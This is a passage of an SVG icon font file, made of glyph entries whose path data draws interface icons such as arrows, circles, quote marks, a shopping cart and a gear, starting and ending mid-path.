32 9 51q5 16 -11 24q-67 35 -86 91q-16 48 5 95t71 75q-16 -45 -17 -48q-12 -40 10.5 -78t64.5 -47q7 -1 15 2 q10 3 15 9q43 44 97 66t134 40q13 3 33 8.5t33.5 9t32 7t33.5 5.5q109 10 178.5 -22.5t120.5 -119.5q3 -4 45 -85q19 4 29.5 7.5t25.5 10.5t25.5 17.5t18.5 25.5q19 35 51 40.5t57 -20.5q32 -31 8 -68q-2 -3 -32 -44q26 -23 29 -26q6 -5 12 -15q16 -25 10.5 -37t-34.5 -17 q21 17 2 37q-3 3 -41 45q24 32 26 34q2 3 25 33q-7 13 -8 13q-20 32 -44 32t-45 -31l-3 -6t-4 -6.5t-4 -4.5l-7.5 -7.5l-7.5 -7.5t-7 -6.5t-8 -6.5t-9 -5q-64 -32 -141 -25q-20 1 -72 -5q-4 0 -8.5 -4.5t-5.5 -7.5q0 -4 3 -33q104 9 110 9q36 2 67 2t65.5 -9t62.5 -28 q6 -4 15 -6t21.5 -3.5t18.5 -2.5zM920 521q4 -66 4 -69q-2 -47 -32 -71t-76 -17q-90 14 -113 99q-24 91 3 183q7 24 26 49q20 26 47 29.5t53 -16.5q18 -14 36 -42q6 -10 14.5 -29t11.5 -25q6 -11 13 -12q4 -1 42 -1q-9 23 -9 24q-32 70 -88 128q-38 39 -79.5 35.5 t-73.5 -48.5q-38 -54 -49 -138q-18 -125 38 -207q47 -69 131 -79q80 -10 118 63q22 40 21 105q0 15 -0.5 20t-5 10t-10.5 6t-22 3zM857 103q2 4 6 10t5 8.5t1 4.5q-2 3 -4.5 6.5t-6.5 7t-5 5.5q-1 -2 -4.5 -5.5t-5 -6t-1.5 -4.5q1 -4 3 -7l6 -9t6 -10zM56 707q8 -39 14 -65 q-27 28 -19 64q3 0 5 1zM220 854q-5 -18 -15 -55q-9 38 15 55z" /> <glyph glyph-name="uniF1CA" unicode="" d="M0 1075h1200v-1200h-783v263h549v652h-735v-915h-231v1200zM426 333v282h354v-282h-354z" /> <glyph glyph-name="uniF1CB" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM504 813v-242h-242v-192h242v-242h192v242h242v192h-242v242h-192z" /> <glyph glyph-name="uniF1CC" unicode="" d="M430 1075h340v-430h430v-340h-430v-430h-340v430h-430v340h430v430z" /> <glyph glyph-name="uniF1CD" unicode="" d="M600 1057q122 0 233 -47.5t191.5 -127.5t128 -191.5t47.5 -233.5q0 -188 -106 -340t-276 -218v53q74 31 135 82.5t105 116.5t68.5 144t24.5 162q0 112 -43.5 214.5t-117.5 176t-176 117.5t-214 44q-90 0 -174 -28t-151.5 -79t-118.5 -119t-79 -152t-28 -174 q0 -167 92 -304t241 -201v-53q-170 66 -276 218t-106 340q0 122 47.5 233.5t128 191.5t191.5 127.5t233 47.5zM600 938q111 0 205.5 -54.5t149 -149t54.5 -205.5q0 -75 -26 -144t-73 -123t-109 -89v44q78 50 124.5 132.5t46.5 179.5q0 101 -50 186.5t-135.5 135.5t-186.5 50 t-186.5 -50t-135.5 -135.5t-50 -186.5q0 -97 46 -179.5t124 -132.5v-44q-94 54 -150.5 148.5t-56.5 207.5q0 111 54.5 205.5t149 149t205.5 54.5zM600 806q101 0 173 -71.5t72 -173.5q0 -103 -75 -175v57q37 53 37 118q0 86 -60.5 146.5t-146.5 60.5q-56 0 -104 -27.5 t-75.5 -75.5t-27.5 -104q0 -65 37 -118v-57q-75 72 -75 175q0 102 72 173.5t173 71.5zM600 678q48 0 82.5 -34t34.5 -83q0 -32 -15.5 -58.5t-42.5 -42.5t-59 -16t-59 16t-42.5 42.5t-15.5 58.5q0 49 34.5 83t82.5 34zM600 414q29 0 52 -3t37.5 -7.5t25 -10t15.5 -11t8 -10 t4 -7.5v-2q1 -151 -12 -229q-6 -35 -22 -95.5t-30 -103.5l-13 -42h-130q-52 161 -65 240q-6 35 -9 92.5t-3 97.5v40q0 2 1 5.5t9 12t21.5 15.5t42.5 12.5t68 5.5z" /> <glyph glyph-name="uniF1CE" unicode="" d="M367 1001h466v-181h47l280 -119h-1120l280 119h47v181zM0 632h1200v-365h-186l66 -318h-960l66 318h-186v365zM291 494l-93 -458h804l-94 458h-617z" /> <glyph glyph-name="uniF1CF" unicode="" d="M472 1075q70 0 120 -50t50 -120t-49 -120h316v-313q50 50 120.5 50t120.5 -50t50 -120.5t-50 -120.5t-120.5 -50t-120.5 50v-356h-328q64 51 64 133q0 46 -23 85.5t-62 62t-86 22.5q-70 0 -120 -49.5t-50 -120.5q0 -82 64 -133h-368v403q51 -59 129 -59q70 0 120 50 t50 121q0 46 -22.5 85t-62 62t-85.5 23q-78 0 -129 -59v284h350q-49 50 -49 120q0 34 13.5 65.5t36.5 54.5t54.5 36.5t66.5 13.5z" /> <glyph glyph-name="uniF1D0" unicode="" d="M0 1075h545v-545h-545v545zM655 1075h545v-545h-545v545zM109 966v-328h328v328h-328zM763 966v-328h328v328h-328zM218 855h110v-108h-110v108zM872 855h108v-108h-108v108zM0 420h545v-545h-545v545zM655 420h325v-108h111v108h109v-327h-328v109h-109v-327h-108v545z M109 312v-328h328v328h-328zM218 203h110v-110h-110v110zM872 -16h108v-109h-108v109zM1091 -16h109v-109h-109v109z" /> <glyph glyph-name="uniF1D1" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM589 925q-36 0 -84.5 -20t-85.5 -51.5t-39 -61.5q-2 -28 1 -44.5t5.5 -19t7.5 -5.5h68q13 29 31.5 42.5 t53.5 12.5q39 0 68.5 -39t12.5 -79q-12 -29 -35.5 -67.5t-36.5 -66.5q-23 -49 -25 -107t24 -118l84 -2q-6 31 1.5 62.5t25 60.5t35 53t40 51t32.5 42q21 33 31.5 56t13.5 41t3 49q0 84 -60 145q-63 65 -172 66zM593.5 229q-42.5 0 -72.5 -29.5t-30 -72t30 -72.5t72.5 -30 t72 30t29.5 72.5t-29.5 72t-72 29.5z" /> <glyph glyph-name="uniF1D2" unicode="" d="M586 1075q145 0 229 -87q79 -82 80 -195q0 -58 -11.5 -94.5t-53.5 -99.5q-9 -15 -25 -35t-31 -38t-33 -41.5t-32 -44t-28 -46.5t-21 -49.5t-10.5 -51.5t2.5 -52l-112 2q-24 48 -30 104t2.5 105t28.5 91q17 37 49 88.5t48 90.5q13 39 0 74t-44.5 59.5t-64.5 24.5 q-47 0 -71.5 -18t-41.5 -56h-91q-7 4 -10.5 7.5t-7.5 25.5t-1 60q3 39 52.5 81.5t114 68.5t113.5 26zM591.5 147q56.5 0 96 -39.5t39.5 -96.5q0 -37 -18 -68t-49.5 -49.5t-68.5 -18.5q-56 0 -96 40t-40 96.5t40 96t96.5 39.5z" /> <glyph glyph-name="uniF1D3" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM554 793q-32 -3 -54 -5.5t-55.5 -9.5t-56 -18t-48.5 -30.5t-41.5 -45.5t-26 -65.5t-10.5 -88.5v-295h267v316 h-89q-1 24 6 43.5t19 31.5t32.5 21.5t38 15t44.5 11.5zM912 793q-32 -3 -54 -5.5t-55.5 -9.5t-56 -18t-48.5 -30.5t-41.5 -45.5t-26 -65.5t-10.5 -88.5v-295h268v316h-89q-2 30 8 52t32 35.5t43.5 20.5t55.5 15z" /> <glyph glyph-name="uniF1D4" unicode="" d="M600 -125q-163 0 -301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5t301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5zM646 157q32 3 54 5.5t55.5 9.5t56 18t48.5 30.5t41.5 45.5t26 65.5t10.5 88.5v295h-267v-316h89 q2 -30 -8 -52t-32.5 -35.5t-44 -20.5t-55.5 -15zM288 157q32 3 54 5.5t55.5 9.5t56 18t48.5 30.5t41.5 45.5t26 65.5t10.5 88.5v295h-268v-316h89q2 -30 -8 -52t-32 -35.5t-43.5 -20.5t-55.5 -15z" /> <glyph glyph-name="uniF1D5" unicode="" d="M682 -20l-46 211q33 7 56.5 13.5t52 16.5t48 21t39 27.5t30.5 36t17 46t4 57.5h-158v561h475v-524q0 -87 -18.5 -156.5t-46 -115.5t-73.5 -81t-86.5 -54t-99.5 -32.5t-98 -18t-96 -8.5zM46 -20l-46 211q47 11 79 20t68 26.5t57 39t33.5 55.5t9.5 77h-157v561h474v-524 q0 -87 -18.5 -156.5t-46 -115.5t-73.5 -81t-86 -54t-99.5 -32.5t-98.5 -18t-96 -8.5z" /> <glyph glyph-name="uniF1D6" unicode="" d="M518 970l46 -211q-47 -11 -78.5 -20t-68 -26.5t-57 -39t-33.5 -55.5t-10 -77h158v-561h-475v524q0 87 18.5 156.5t46 115.5t73.5 81t86.5 54t99.5 32.5t98 18t96 8.5zM1154 970l46 -211q-47 -11 -79 -20t-68 -26.5t-57 -39t-33.5 -55.5t-9.5 -77h157v-561h-474v524 q0 68 11 125.5t29 100t47.5 77t58 58t69.5 42t74 28.5t78.5 17.5t76 11t74.5 6.5z" /> <glyph glyph-name="uniF1D7" unicode="" d="M936 1033l264 -264l-264 -264v194h-172q-19 0 -27 -4t-33 -30q-48 -48 -175 -230q-25 -36 -56 -81.5t-48 -70t-36.5 -51t-36.5 -44.5q-35 -39 -82 -60t-97 -21h-171h-2v148h2h171q33 0 40 3t29 28q14 16 33 42t62 89.5t71 102.5q135 192 191 249q77 78 165 78h172v186z M0 847h2h171q50 0 97 -21t82 -59q28 -31 73 -96q-3 -3 -8.5 -11t-9.5 -13q-25 -36 -60 -85q-3 -5 -7 -11t-7 -9q-70 103 -91 126q-22 25 -29 28t-40 3h-171h-2v148zM936 445l264 -264l-264 -264v190h-172q-88 0 -165 78q-35 36 -83 99q52 78 73 108q3 5 8.5 12t6.5 10 q68 -92 100 -125q25 -25 33 -29.5t27 -4.5h172v190z" /> <glyph glyph-name="uniF1D8" unicode="" d="M600 -125q-163 0 -301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5t301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5zM600 775q-124 0 -212 -88t-88 -212t88 -212t212 -88t212 88t88 212t-88 212t-212 88z" /> <glyph glyph-name="uniF1D9" unicode="" d="M799 195q5 -7 6 -13t-3.5 -12.5t-6 -7.5t-9.5 -8q-72 -54 -189 -54q-31 0 -63 5t-66 17.5t-54 31.5q-12 9 -15.5 20.5t6.5 22.5q5 4 10 5t11 -2.5t8.5 -5.5t9.5 -8q8 -5 15.5 -9.5t14 -7.5t15 -6t14 -5t15 -4t14.5 -3t16 -2t15.5 -1.5t17 -2t16.5 -1.5q50 2 85.5 11.5 t75.5 31.5q26 23 41 8zM1018 981q31 0 57 -15t41 -41t15 -56q0 -47 -33 -80t-80 -33q-30 0 -56 15t-41.5 41t-15.5 57l-197 46l-79 -223q100 -4 187 -30.5t155 -68.5q40 34 90 34q29 0 54.5 -11t44.5 -30t29.5 -44t10.5 -53q0 -36 -17.5 -67t-48.5 -50q4 -22 4 -42 q0 -74 -42 -140t-116 -115.5t-172 -77.5t-209 -28q-113 0 -210.5 28t-171 77.5t-116 115.5t-42.5 140q0 12 1 22q2 13 3 21q-29 19 -46 49.5t-17 66.5q0 28 10.5 53t29.5 44t43.5 30t53.5 11q53 0 91 -34q71 44 161.5 70.5t194.5 28.5l97 275l232 -57q13 32 41.5 51.5 t63.5 19.5zM599 649q-102 0 -193 -25t-157.5 -68t-106 -101.5t-39.5 -124t39.5 -123.5t106 -101t157.5 -68t193 -25t192.5 25t158 68t106.5 101t39 123.5t-39 124t-106.5 101.5t-158 68t-192.5 25zM781.5 480q35.5 0 60.5 -24.5t25 -59.5t-25 -60t-60 -25q-23 0 -43 11.5 t-31 31t-11 42.5q0 35 24.5 59.5t60 24.5zM428 479q23 0 43 -11.5t31 -31t11 -42.5q0 -35 -24.5 -59.5t-60.5 -24.5q-23 0 -42.5 11t-31 30.5t-11.5 42.5q0 35 25 60t60 25zM1132 370q-1 0 -1 -1q0 1 1 1z" /> <glyph glyph-name="uniF1DA" unicode="" d="M364 67l-104 -116h-260l259 294zM687 -49h-223l-66 113l134 150zM383 89l-362 616h222l169 -287l514 581h274z" /> <glyph glyph-name="uniF1DB" unicode="" d="M600 1075q122 0 231.5 -46.5t192.5 -129.5l176 176v-483h-178h-305l193 193q-61 60 -141 94t-169 34q-149 0 -266 -90t-156 -231h-167q28 137 111.5 247t209 173t268.5 63zM0 358h483l-193 -193q61 -60 141 -94t169 -34q149 0 266 90t156 231h167q-28 -137 -111.5 -247 t-209 -173t-268.5 -63q-122 0 -231.5 46.5t-192.5 129.5l-176 -176v483z" /> <glyph glyph-name="uniF1DC" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM600 945q-77 0 -148.5 -24t-129 -67.5t-101 -101t-67.5 -129t-24 -148.5q0 -96 37.5 -182.5t100.5 -149.5 t149.5 -100.5t182.5 -37.5t182.5 37.5t149.5 100.5t100.5 149.5t37.5 182.5t-37.5 182.5t-100.5 149.5t-149.5 100.5t-182.5 37.5zM435 770l165 -165l165 165l130 -130l-165 -165l165 -165l-130 -130l-165 165l-165 -165l-130 130l165 165l-165 165z" /> <glyph glyph-name="uniF1DD" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM411 812l-149 -148l189 -189l-189 -189l149 -148l189 188l189 -188l149 148l-189 189l189 189l-149 148 l-189 -188z" /> <glyph glyph-name="uniF1DE" unicode="" d="M0 810l265 265l335 -335l335 335l265 -265l-335 -335l335 -335l-265 -265l-335 335l-335 -335l-265 265l335 335z" /> <glyph glyph-name="uniF1DF" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM600 823q-71 0 -135 -28t-110.5 -74.5t-74.5 -110.5t-28 -135q0 -94 46.5 -174.5t127 -127t174.5 -46.5 q95 0 175 47.5t126 127.5l-122 70q-27 -47 -75 -75t-104 -28q-86 0 -146 60t-60 146t60 146t146 60q72 0 129 -45l-91 -65l310 -103v323l-101 -71q-32 32 -70.5 54.5t-84 35.5t-92.5 13z" /> <glyph glyph-name="uniF1E0" unicode="" d="M600 1075q123 0 233 -47t193 -131l174 124v-559l-535 179l158 112q-98 78 -223 78q-97 0 -179 -47.5t-129.5 -129.5t-47.5 -179t47.5 -179t129.5 -129.5t179 -47.5q65 0 124.5 22.5t106.5 62.5t78 93l211 -121q-52 -90 -130.5 -157.5t-179.5 -105.5t-210 -38 q-163 0 -301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5z" /> <glyph glyph-name="uniF1E1" unicode="" d="M670 1075h530v-530l-177 178l-242 -242l-175 175l242 242zM419 469l175 -175l-242 -242l178 -177h-530v530l177 -178z" /> <glyph glyph-name="uniF1E2" unicode="" d="M304 779v-203h592v203l304 -304l-304 -304v203h-592v-203l-304 304z" /> <glyph glyph-name="uniF1E3" unicode="" d="M1025 1075l175 -175l-241 -241l177 -178h-530v530l178 -177zM64 469h530v-530l-178 177l-241 -241l-175 175l241 241z" /> <glyph glyph-name="uniF1E4" unicode="" d="M904 771h-203v-315v-37v-240h203l-304 -304l-304 304h203v240v37v315h-203l304 304z" /> <glyph glyph-name="uniF1E5" unicode="" d="M809 941h134h257v-257v-268v-257h-257h-525v-150l-418 279l418 278v-150h525v268h-134v257z" /> <glyph glyph-name="uniF1E6" unicode="" d="M300 850l300 -300h-225v-225h150l150 -150h-450v375h-225zM525 775h450v-375h225l-300 -300l-300 300h225v225h-150z" /> <glyph glyph-name="uniF1E7" unicode="" d="M600 -125q-163 0 -301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5t301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5zM525 700l-300 -225l300 -225v450zM900 700l-300 -225l300 -225v450z" /> <glyph glyph-name="uniF1E8" unicode="" d="M1200 -125h-502l-11 345h-174l-11 -345h-502l242 1200h299l-9 -277h136l-9 277h299zM684 324h-168l14 407h140l14 -407v0z" /> <glyph glyph-name="uniF1E9" unicode="" d="M1200 -125h-240q0 131 -34.5 255t-96.5 229.5t-150.5 194t-194 150.5t-229.5 96.5t-255 34.5v240q196 0 379 -60.5t330.5 -171.5t258.5 -258.5t171.5 -330.5t60.5 -379zM720 -125h-240q0 98 -38 186.5t-102.5 153t-153 102.5t-186.5 38v240q146 0 279.5 -57t230 -153.5 t153.5 -230t57 -279.5zM240 -125h-240v240q99 0 169.5 -70.5t70.5 -169.5z" /> <glyph glyph-name="uniF1EA" unicode="" d="M517 997q33 0 63 -13t51.5 -35t34.5 -52t13 -63q0 -71 -54 -120h1q32 -23 50.5 -59t34 -92t23.5 -76q25 -2 67.5 -4t75 -4t74 -6.5t75.5 -14t67.5 -25t60.5 -41t46 -59.5h-734q-51 7 -86 27q-20 -43 -60 -69.5t-89 -26.5q-38 0 -72 17t-57 46l-13 18l-24 -2q-27 0 -46 19 t-19 46t19 46t46 19q8 0 10.5 2t5.5 10q18 46 59 74.5t91 28.5q58 0 103 -37l92 -65q18 -15 48 -17.5t51 1.5t58 13q-2 13 -5.5 37t-5.5 35t-8.5 27t-17.5 28t-28 23q-14 10 -39.5 28t-38 27.5t-31 26.5t-28 32.5t-17 38t-9.5 48.5q0 68 47.5 115.5t114.5 47.5zM517 916 q-22 0 -41 -11t-29.5 -30t-10.5 -41q0 -33 23.5 -57t57 -24t57.5 24t24 57.5t-24 57.5t-57 24zM231.5 507q-33.5 0 -57.5 -24t-24 -57.5t24 -57t57 -23.5q22 0 41 10.5t29.5 29.5t10.5 41q0 33 -23.5 57t-57 24zM664 473q-19 0 -32.5 -13.5t-13.5 -32.5t13.5 -32.5 t32.5 -13.5t32.5 13.5t13.5 32.5t-13.5 32.5t-32.5 13.5zM668 251h152l111 -298q-29 3 -54.5 13t-44.5 22.5t-37.5 33t-31 39t-27 45.5t-23.5 47t-22.5 49.5t-22.5 48.5zM180 161h158v-72h-158v72zM464 161h141l33 -72h-174v72zM960 161h179v-72h-158z" /> <glyph glyph-name="uniF1EB" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM250 765v-462h254v-67h-62v-51h316v51h-62v67h254v462h-700zM336 677h528v-287h-528v287z" /> <glyph glyph-name="uniF1EC" unicode="" d="M0 971h1200v-792h-436v-114h106v-86h-540v86h106v114h-436v792zM148 822v-493h904v493h-904z" /> <glyph glyph-name="uniF1ED" unicode="" d="M510 1075h180v-156q134 -27 230.5 -123.5t123.5 -230.5h156v-180h-156q-27 -134 -123.5 -230.5t-230.5 -123.5v-156h-180v156q-134 27 -230.5 123.5t-123.5 230.5h-156v180h156q27 134 123.5 230.5t230.5 123.5v156zM510 798q-85 -23 -147.5 -85.5t-85.5 -147.5h175v-180 h-175q23 -85 85.5 -147.5t147.5 -85.5v175h180v-175q85 23 147.5 85.5t85.5 147.5h-175v180h175q-23 85 -85.5 147.5t-147.5 85.5v-175h-180v175z" /> <glyph glyph-name="uniF1EE" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM641.5 815q-120.5 0 -206 -85t-85.5 -206q0 -84 45 -155v0l-127 -127l108 -107l131 131v1q62 -33 134 -33 q121 0 206 85t85 205.5t-85 205.5t-205.5 85zM641 686q44 0 81 -21.5t59 -59t22 -81.5q0 -67 -47.5 -114t-114.5 -47t-114 47t-47 114t47 114.5t114 47.5z" /> <glyph glyph-name="uniF1EF" unicode="" d="M672.5 1075q104.5 0 199.5 -40.5t163.5 -109.5t109.5 -164t41 -199t-41 -199t-109.5 -164t-163.5 -109.5t-199 -40.5q-127 0 -238 58v-1l-231 -231l-190 190l224 223h1q-79 125 -79 274q0 104 40.5 199t109 164t163.5 109.5t199.5 40.5zM673 847q-78 0 -143.5 -38 t-103.5 -104t-38 -143q0 -118 83.5 -201.5t201.5 -83.5t201.5 83.5t83.5 201.5t-83.5 201.5t-201.5 83.5z" /> <glyph glyph-name="uniF1F0" unicode="" d="M755 1040l445 -445l-445 -446v321q-255 0 -358 -17q-178 -29 -267 -139q-102 -126 -130 -404q0 135 18 248t45.5 194t74 145t88.5 104.5t105 69.5t108 43t113.5 22t104.5 9t98 1v294z" /> <glyph glyph-name="uniF1F1" unicode="" d="M0 1075h594v-197h-397v-806h806v221l197 209v-627h-1200v1200zM858 1075l342 -342l-342 -342v247q-73 0 -110 -1t-95.5 -4.5t-88.5 -11.5t-73.5 -22.5t-66.5 -36t-51.5 -53.5t-44 -75t-29.5 -99.5t-21 -127.5q0 104 14 190.5t35 148.5t56.5 111.5t68 80.5t81 53.5 t83 33.5t87 16.5t80.5 6.5t75 1v226z" /> <glyph glyph-name="uniF1F2" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM298 822q-15 4 -28 -3t-17.5 -21t1.5 -28q8 -13 22 -18l83 -26l30 -296l-19 -105q-3 -17 7.5 -29t28.5 -13 h451q14 0 25 10t12 26q0 14 -10.5 24.5t-26.5 11.5h-408l8 48h430q8 0 15 3.5t12.5 10.5t7.5 16l30 169q2 14 -7.5 26.5t-25.5 15.5l-483 54l-6 59q-3 24 -26 31zM460 262q-23 0 -39.5 -16.5t-16.5 -40t16.5 -39.5t39.5 -16t39.5 16t16.5 39.5t-16.5 40t-39.5 16.5z M790.5 262q-23.5 0 -40 -16.5t-16.5 -40t16.5 -39.5t40 -16t40 16t16.5 39.5t-16.5 40t-40 16.5z" /> <glyph glyph-name="uniF1F3" unicode="" d="M1199 671l-50 -288q-4 -24 -21 -38t-40 -14h-734l-14 -82h699q18 -1 32.5 -9.5t22 -22.5t7.5 -30q-1 -18 -9.5 -32.5t-22 -22t-30.5 -7.5h-773q-31 2 -48.5 23.5t-13.5 50.5l33 180l-51 506l-143 45q-25 10 -36 31.5t-5 46.5q10 25 32 36t46 5l183 -58q37 -14 43 -53 l10 -101l829 -93q28 -6 43 -26t11 -47zM455 -6.5q0 -39.5 -27.5 -67t-67 -27.5t-67.5 27.5t-28 67t28 67.5t67.5 28t67 -28t27.5 -67.5zM1023 -6q0 -19 -8 -37t-20.5 -30.5t-30 -20t-36.5 -7.5q-40 0 -68 27.5t-28 67t28 67.5t67.5 28t67.5 -28t28 -67z" /> <glyph glyph-name="uniF1F4" unicode="" d="M541 852h118l11 -114q35 -9 66 -27l89 72l83 -83l-72 -89q18 -31 27 -66l114 -11v-118l-114 -11q-9 -35 -27 -66l72 -89l-83 -83l-89 72q-31 -18 -66 -27l-11 -114h-118l-11 114q-35 9 -66 27l-89 -72l-83 83l72 89q-18 31 -27 66l-114 11v118l114 11q9 35 27 66l-72 89 l83 83l89 -72q31 18 66 27zM600 584q-45 0 -77 -32t-32 -77q0 -30 14.5 -55t39.5 -39.5t55 -14.5q45 0 77 32t32 77t-32 77t-77 32zM50 1021h320v-91h-320v91zM50 30h320v-91h-320v91zM50 30v900h91v-900h-91zM830 1011h320v-91h-320v91zM830 20h320v-91h-320v91zM1150 921 v-901h-91v901h91z" /> <glyph glyph-name="uniF1F5" unicode="" d="M960 -125v1200h240v-1200h-240zM640 775h240v-900h-240v900zM320 475h240v-600h-240v600zM0 175h240v-300h-240v300z" /> <glyph glyph-name="uniF1F6" unicode="" d="M934 326q1 67 -34.5 114.5t-95.5 75.5q-57 25 -112 38q-18 5 -67 16t-77 19q-33 8 -61 29t-29 47q3 22 17.5 38.5t35.5 24.5t40.5 11.5t40.5 3.5q93 3 145 -85q12 -21 22 -32.5t25 -19.5t35 -8q33 2 56.5 25t24.5 54q-5 64 -52 107t-114 65q-164 42 -298 -9 q-66 -24 -106.5 -75t-40.5 -115q1 -45 20 -81.5t45.5 -59t67.5 -41t72.5 -28t75.5 -18.5q66 -13 104 -26q81 -29 82 -87q0 -42 -43 -71q-114 -56 -195 -14q-29 14 -47.5 37t-33.5 57q-14 32 -33 48.5t-49 16.5q-33 -1 -58 -22.5t-25 -51.5q5 -59 41.5 -108t88.5 -77 q95 -39 190.5 -43t187.5 32q70 30 112 87t42 126zM1158 349q33 -70 33 -147q-1 -66 -26.5 -126.5t-69.5 -104.5q-101 -95 -231 -96q-85 1 -154 39q-82 -14 -168 -4.5t-156 39.5q-102 46 -180 125t-121 176q-65 173 -33 334q-55 100 -40.5 209.5t91.5 187.5q84 80 197.5 92 t208.5 -46q91 14 182.5 -1t171.5 -55.5t142 -101.5q32 -33 58 -71t46 -77.5t33.5 -81.5t20.5 -84.5t8 -85.5q-1 -62 -13 -120z" /> <glyph glyph-name="uniF1F7" unicode="" d="M62 1075h1073v-578q18 13 38 14q6 0 10 -1.5t7 -5.5t3 -9q-6 -20 -18 -39t-31.5 -36.5t-37.5 -31t-46 -28.5t-44.5 -24t-45.5 -23t-39 -19q29 -97 20 -194q-11 -91 -65.5 -154.5t-144.5 -66.5q-32 0 -60.5 15.5t-46.5 42.5q-12 18 -12 44v235q-9 2 -25 7t-19 6v-252 q0 -43 -37 -72t-83 -30q-85 1 -142 66.5t-68 155.5q-10 99 21 193q-143 62 -245 165q-1 2 -5 8.5t-6 10.5t-4.5 9.5t-1.5 10.5t4 9q11 6 25 3t26 -11v580zM125 1011v-555q8 -4 19 -10t22 -11.5t20 -9.5l838 9q35 17 47 24v553h-946zM437.5 718q58.5 0 100 -41.5t41.5 -100 t-41.5 -100t-100 -41.5t-100 41.5t-41.5 100t41.5 100t100 41.5zM773 718q38 0 70.5 -19t51.5 -51.5t19 -71.5q0 -58 -41.5 -99.5t-100 -41.5t-100 41.5t-41.5 100t41.5 100t100.5 41.5z" /> <glyph glyph-name="uniF1F8" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM286 789v-628h628v628h-628zM491 669q28 0 48 -19.5t20 -47.5t-20 -48t-48 -20t-47.5 20t-19.5 48t19.5 47.5 t47.5 19.5zM702.5 669q28.5 0 48 -19.5t19.5 -47.5t-19.5 -48t-48 -20t-48 20t-19.5 48t19.5 47.5t48 19.5zM382 456h436q0 -90 -64 -154t-154 -64q-59 0 -109.5 29t-79.5 79.5t-29 109.5z" /> <glyph glyph-name="uniF1F9" unicode="" d="M0 1075h1200v-1200h-1200v1200zM392.5 847q-53.5 0 -91.5 -38t-38 -91.5t38 -91.5t91.5 -38t91.5 38t38 91.5t-38 91.5t-91.5 38zM796 847q-26 0 -50 -10.5t-41.5 -27.5t-27.5 -41t-10 -51q0 -53 37.5 -91t91.5 -38t92 38t38 91q0 27 -10.5 51t-28 41t-41.5 27.5 t-50 10.5zM183 439q0 -113 56 -209.5t152 -152t209 -55.5t209 55.5t152 152t56 209.5h-834z" /> <glyph glyph-name="uniF1FA" unicode="" d="M729 734q57 1 111 -22.5t91 -63.5q55 -68 64 -143l1 -6q39 15 78 9q62 -9 96.5 -55t28.5 -106q-7 -56 -44 -94t-89 -37h-426q-8 2 -11 10l-1 480q3 8 18 14q39 14 83 14zM596.5 699q15.5 0 19.5 -347q-14 -133 -17 -135t-6 17q-2 14 -14 118q2 347 17.5 347zM545 671.5 q15 0.5 20 -319.5q-14 -133 -17 -135t-6 17q-2 14 -14 118q2 319 17 319.5zM395 639v0q14 -1 20 -287q-1 -9 -2 -24q-12 -111 -16 -111.5t-15 101.5l-4 34q3 284 17 287zM445.5 629.5q14.5 -0.5 19.5 -277.5q-14 -133 -18 -135q-2 -2 -5 17q-2 14 -14 118q3 278 17.5 277.5z M346 626q16 0 21 -274q-14 -133 -18 -135q-2 -2 -5 17q-2 14 -14 118q0 274 16 274zM495 620v0q15 0 20 -268q-14 -133 -17 -135t-6 17q-2 14 -13 118q1 266 16 268zM297.5 608.5q12.5 -0.5 19.5 -256.5q-14 -133 -18 -135q-2 -2 -5 17q-2 14 -14 118q5 257 17.5 256.5z M250 560.5q11 -0.5 18 -208.5q-14 -133 -18 -135q-2 -2 -5 17q-2 14 -14 118q8 209 19 208.5zM153 491q3 1 7 -40q2 -16 7 -61q2 -21 4 -32q-13 -131 -17 -134q-2 -1 -5 16q-2 15 -13 118q13 133 17 133zM105 488v0q3 -1 17 -131q-12 -128 -16 -131q-2 -2 -5 16 q-2 14 -13 115q13 130 17 131zM200 486q4 -1 19 -134q-14 -131 -17 -133q-2 -1 -4 5q-2 12 -16 128q14 133 18 134zM58 464q3 0 18 -110q-13 -108 -17 -110q-1 -1 -3 6q-3 10 -15 104q13 109 17 110zM14 424.5q3 0.5 11 -53.5l3 